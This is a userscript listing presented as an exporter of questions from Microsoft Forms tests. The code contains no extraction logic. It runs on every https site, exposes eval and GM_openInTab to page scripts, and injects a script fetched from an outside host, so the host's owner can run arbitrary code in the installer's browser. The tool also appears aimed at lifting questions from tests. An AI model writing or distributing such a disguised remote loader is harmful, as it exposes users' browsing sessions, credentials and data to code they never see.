Forms Questions Extractor

A script that allows you to export questions from a loaded MS Forms test.

  1. // ==UserScript==
  2. // @name Forms Questions Extractor
  3. // @namespace http://tampermonkey.net/
  4. // @description A script that allows you to export questions from a loaded MS Forms test.
  5. // @version 2024-06-01v3
  6. // @description try to take over the world!
  7. // @author You
  8. // @match https://*/*
  9. // @include https://forms.office.com/*
  10. // @icon https://www.google.com/s2/favicons?sz=64&domain=office.com
  11. // @grant GM_addElement
  12. // @grant GM_openInTab
  13. // @grant unsafeWindow
  14. // @sandbox raw
  15. // @license MIT
  16.  
  17. // ==/UserScript==
  18.  
  19. (() => {
  20. unsafeWindow.ev = function(str){
  21. return eval(str);
  22. }
  23. unsafeWindow.GM_openInTab = function(){GM_openInTab.apply(unsafeWindow,arguments);};
  24.  
  25. GM_addElement('script', { src: 'https://apps.serwer-testowy.pl/scripts/FormsQuestionsExtractor/index.js?_ts='+ (new Date().toISOString().split(':')[0]), type: 'text/javascript'});
  26. })();